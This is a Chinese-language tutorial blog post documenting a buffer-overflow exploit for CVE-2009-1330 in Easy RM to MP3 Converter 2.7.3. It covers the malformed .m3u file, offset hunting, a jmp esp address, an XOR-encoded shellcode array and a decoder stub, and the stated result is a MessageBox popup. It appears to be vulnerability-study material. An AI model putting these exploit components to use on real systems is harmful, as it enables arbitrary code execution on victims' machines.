Easy RM to MP3 Converterv2.7.3(CVE-2009-1330)漏洞

軟件名稱Easy RM to MP3 Converter

軟件版本2.7.3

漏洞模塊PM2MP3Converter.exe

操作系統Windows 7\sp1\x86

漏洞編號CVE-2009-1330

危害等級:中危

漏洞類型:緩衝區溢出

威脅類型:本地

1. 軟件介紹

Easy RM to MP3 Converter爲05-06年流行的支持常用音頻格式文件MP3, WMA, WAV, OGG等之間的轉換,軟件界面1所示:

 

1軟件界面說明圖

2. 漏洞成因

Easy RM to MP3 Converter(version 273700) 加載畸形過長的。m3u文件時觸發緩衝區溢出

 

3. 利用過程

3.1  製造緩衝區溢出

 

新建文件後置名爲.m3u1.m3uApplication打開===》RM2MP3Converter.exe打開這個

然後在Application中新建一個新建文本文檔.m3u(因爲CVE有這個漏洞所以要建立一個後綴名爲.m3u)溢出的漏洞(1.3u)的大小:一般是30k--50k的大小f否則會出現以下圖片包括30到50,大小2所示

 

2大小說明圖

如果超過30-50k大小後,還沒溢出那是空格(0E)、回車(0D)、換行(0A)問題,要用010edi修改 ctrl+a是010edit的替換,替換3所示

 

3替換說明圖

 

出來異常的65656565,異常14所示

 

 

 

4異常1說明圖

A0A1A2A3A4A5A6A7A8A9B0B1B2B3B4B5B6B7B8B9C0C1C2C3C4C5C6C7D0D1D2D3D4D5D6D7DD9E0E1E2E3E4E5E6E7E8E9F0F1F2F3F4F5F6F7F8F9G0G1G2G3G4G5G6G7G8G9H0H1H2H3H4H5H6H7H8H9不斷重複異常步驟,直到找到異常點,用這個來替換注意不能多出字節來異常結果5所示


 

5異常結果說明圖

3.2  Jmp esp地址

 

jmp esp找到地址裏面不能有00搜索所有模塊espjmp esp :70d0f0f1,esp6所示

 

6 esp說明圖

3.3  處理加密shellcode

 

 vs 寫一個加密過的shellcode,加密7所示

 

7加密說明圖

od中加密後代碼,od加密如圖8所示:

 

 

 

 

8od加密說明圖

/* Encode Key=0x07 */

char bShellcode[] = \

"\x67\x84\xEB\x27\xEC\x4A\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63" \

"\x75\x62\x74\x74\x07\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E" \

"\x42\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A" \

"\x62\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57" \

"\x75\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x27\x36\x32\x57" \

"\x45\x26\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07" \

"\x8C\x71\x0B\x8C\x71\x1B\x8C\x31\x8C\x51\x0F\x54\x55\xEF\x13\x07" \

"\x07\x07\x8C\xF7\x55\x8A\x4C\xBA\x56\x55\xF8\xD7\x5D\x54\x51\x57" \

"\x55\xEF\x69\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F" \

"\x8C\x75\x3B\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A" \

"\x3B\x3D\x8E\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79" \

"\x23\x8A\x3B\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C" \

"\x33\x81\x8C\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xA9\xBE\x09" \

"\x07\x07\x07\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B" \

"\x41\x8C\x52\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2" \

"\x5A\xC5\x0F\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xCB" \

"\x6D\x07\x6D\x07\x56\xF8\x52\x0B\x8A\x4C\xD0\x56\x57\xF8\x52\x17" \

"\x8E\x42\xFB\x8A\x4C\xE4\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF" \

"\x8A\x4C\xE8\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52" \

"\xFF\x8C\xE2\x5A\xC5\x17\x07";

3.3  解密代碼

 

解密代碼,用od摳出來,解密9所示

 

9od解密說明圖

 

char bshell1[]=\

{

    0x33, 0xc0,

        0xe8, 0xff, 0xff, 0xff, 0xff,

        0xc3,

        0x58,

        0x8d, 0x70, 0x1b,

        0x33, 0xc9,

        0x66, 0xb9, 0x11, 0x03,

        0x8a, 0x04, 0x0e,

        0x34, 0x02,

        0x88, 0x04, 0x0e,

        0xe2, 0xf6,

        0x80, 0x34, 0x0e, 0x07,

        0xff, 0xe6};

3.4  結果

 

010edit寫,第一個是jmp esp地址,490是跳板(可能存在少了一個字節),解密shellcode,加密shelloce(要把DE改爲907異或==97)edit10所示

 

10edit說明圖

運行結果,彈出個MessageBox圖片,結果11所示

 

 

11結果說明圖

 

4. 結語

要先準備一段加密的shellcode,解密shellcode,都要用vs編寫,用od摳出來,注意加密解密祕鑰要相同,shellcode的大小要一樣,找溢出點通過sublime_text這個工具切一半再精確,sublime_text這個要和虛擬機版本一樣顏色深度代表裏面輸入的字符串不同

 

5. 參考資料

[1] 《高端調試》張銀奎    

[2] 0day安全:軟件漏洞分析技術(第2版)》 王清      

 



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章